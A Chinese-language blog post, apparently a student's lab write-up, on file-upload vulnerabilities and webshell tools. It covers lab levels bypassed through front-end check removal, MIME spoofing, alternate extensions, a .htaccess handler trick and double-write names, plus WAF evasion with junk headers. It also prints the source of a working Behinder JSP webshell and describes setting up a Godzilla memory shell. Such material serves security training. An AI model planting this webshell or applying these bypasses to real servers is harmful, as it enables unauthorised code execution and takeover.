文件上传与WebShell管理

文件上传判断黑白名单

大马、小马

webshell管理工具:

菜刀

蚁剑

冰蝎

哥斯拉

处理内存码:servlet管理,重启中间件服务,github开源工具

内存码:不落地

1、通关文件上传靶场1,2,3,4,10关卡

关卡1

首先尝试上传一个带有<?php phpinfo(); ?>代码的 1.php文件,出现弹窗不允许上传php后缀的文件,多数情况弹窗一般是前端代码做验证然后弹窗

image-20250826161914767

通过浏览器查看前端代码,发现是前端代码验证,既然是前端代码直接从浏览器删除即可

image-20250826162455377

删除调用函数的模块重新测试

image-20250826162756367

删除调用模块

image-20250826162842173

上传webshell文件

image-20250826162930963

验证

image-20250826170238883

关卡2

同样先上传一个1.php进行测试,提示文件类型不正确

image-20250826163050378

查看源代码,发现通过form表单的post方法传输,那么就是后端对文件进行验证了

image-20250826163212345

查看后端代码

<?php
include '../config.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
?>

# 通过 php 的 $_FILES 数组获取文件类型
# image/jpeg 属于文件 MIME 类型 type/subtype ,这里就是进行MIME类型验证

进行抓包查看,这里的文件类型不在后端代码规定的白名单内,故上传失败

image-20250826164128385

这里修改请求体的Content-Type,修改为image/jpeg然后重新上传,发现上传成功

image-20250826164332961

验证

image-20250826170250957

关卡3

上传1.php文件,提示不允许上这类后缀的文件,推测这是个黑名单限制

image-20250826164556226

查看源代码看看有没有破绽

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

# 这里对上传的文件做相应处理,首先去除文件首位多余的空格,接着去除文件末尾多余的点号,然后取出文件末尾的后缀名,全部转化为小写,再进行字符串去除、去掉多余空格。然后判断和黑名单记录的数据进行匹配,若匹配上则禁止上传

# 这里预防效果好

这里其他操作行不通,只能通过上传php3phtmp后缀的文件进行绕过,但是能将php3phtmp后缀文件解析成php文件需要网站的配置文件中有代码AddType application/x-httpd-php .phtml .php3才能够解析为php文件

image-20250826170356446

重新上传木马文件

image-20250826170455974

验证,可以看到文件被重新命名了

image-20250826170730282

关卡4

上传1.php文件,不允许上传

image-20250826171141507

查看提示,很多后缀名都不许上传

image-20250826171217184

这里使用 .htaccess (区域解析配置文件)。当 Apache 收到对某个目录的访问请求时,会沿着文件系统路径向上查找该目录及其父级目录中的 .htaccess,找到后将其中的指令临时合并到主配置里,从而改变该目录及其子目录的默认行为。区域解析配置文件要和上传木马文件在同一文件夹内才能生效

这里通过区域配置文件设置apache将png文件解析为php文件

SetHandler application/x-httpd-php

image-20250826173952499

验证上传文件

image-20250826174111717

关卡10

直接查看源代码看看后端逻辑

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

# 这里限制了多种文件后缀,对文件后缀只是进行简单替换,那么可以尝试进行双写绕过

双写绕过

image-20250826175233444

验证

image-20250826175405942

2、将通关关卡后端涉及到的防御函数都自己编写一个文件演示一下函数的作用

header('Content-Type: text/html; charset=utf-8');
function deldot($s){
for($i = strlen($s)-1;$i>0;$i--){
$c = substr($s,$i,1);
//echo $c . "<br>";
if($i == strlen($s)-1 and $c != '.'){
return $s;
}

//echo "1" . "<br>";

if($c != '.'){
return substr($s,0,$i+1);
}
}
}
$str = ' nihao.php.jpg.exe::$DATA ....';
echo "原字符串: " . $str . "<br>" . "<br>";
$str1 = deldot($str);
echo "去除末尾的点号deldot:" . $str1 . "<br>" . "<br>";
$str2 = trim($str1);
echo "去首尾空格trim: " . $str2 . "<br>" . "<br>"; // 去除首尾的空格
echo "提取文件末尾后缀strrchr: " . strrchr($str2, '.') . "<br>" . "<br>"; // 提取文件最后面的后缀名
echo "替换字符串str_ireplace: " . str_ireplace('::$DATA', '', strrchr($str2, '.')) . "<br>";

image-20250826175952066

3、尝试绕过安全狗上传一句话木马(脏数据、分块传输)

在 Content-Disposition: 字段添加无效数据占用安全狗的解析时间,为了不影响正常用户访问,WAF在检查http报文时对每个报文检查时间和缓存有限,在不影响正常访问的前提下若是没检查完数据包会直接放行

image-20250826184520471

访问测试

image-20250826184557952

4、使用哥斯拉自己操作一下内存马

首先上传一个1.jsp文件,然后使用哥斯拉进行连接

image-20250826190251056

添加连接后,进入连接然后点击MemoryShell选项卡,填写内存马信息,点击run即可添加一个内存马

image-20250826190535509

返回浏览器查看地址 http://192.168.142.144/test 发现可以进行访问,但是页面没有显示数据

image-20250826190614588

返回哥斯拉添加一个新连接

image-20250826190739734

在ServletManage选项卡可以看见刚刚生成的内存马

image-20250826190835130

截屏功能测试

image-20250826191445919

5、尝试使用一下冰蝎工具

冰蝎jsp马

<%@ page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
class U extends ClassLoader {
U(ClassLoader c) { super(c); }
public Class g(byte[] b) { return super.defineClass(b, 0, b.length); }
}
%>
<%
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b"; // 密钥
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
new U(this.getClass().getClassLoader())
.g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())))
.newInstance().equals(pageContext);
}
%>

添加连接

image-20250826192327229

验证

image-20250826192315670

扩展:自主学习一下php语言中有哪些命令执行和代码执行的函数

命令执行函数

函数 返回值特点 基本用法示例
exec() 返回最后一行输出,可通过数组获取全部结果 exec('ls -l', $output, $status);
system() 直接输出结果,并返回最后一行内容 system('ls -l', $status);
shell_exec() 返回完整的输出(字符串形式) $result = shell_exec('ls -l');
passthru() 直接输出原始结果(尤其适用于二进制数据) passthru('convert image.jpg image.png', $status);
反引号操作符 ` shell_exec() 效果相同 $result = ls -l;

代码执行函数

函数 特点 基本用法示例
eval() 执行字符串作为 PHP 代码。必须以分号结尾 eval('echo "Hello, World!";');
assert() 原本用于调试断言,但也能执行代码(请注意:在 PHP 8.0+ 中,字符串参数将不再被评估为代码 assert('2 > 1'); // 注意PHP版本差异

扩展:在哥斯拉通信的时候安装wireshark,尝试抓取流量分析一下与普通的webshell流量之间的区别

Author: wickt42
Link: http://example.com/2025/08/26/文件上传与WebShell管理/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.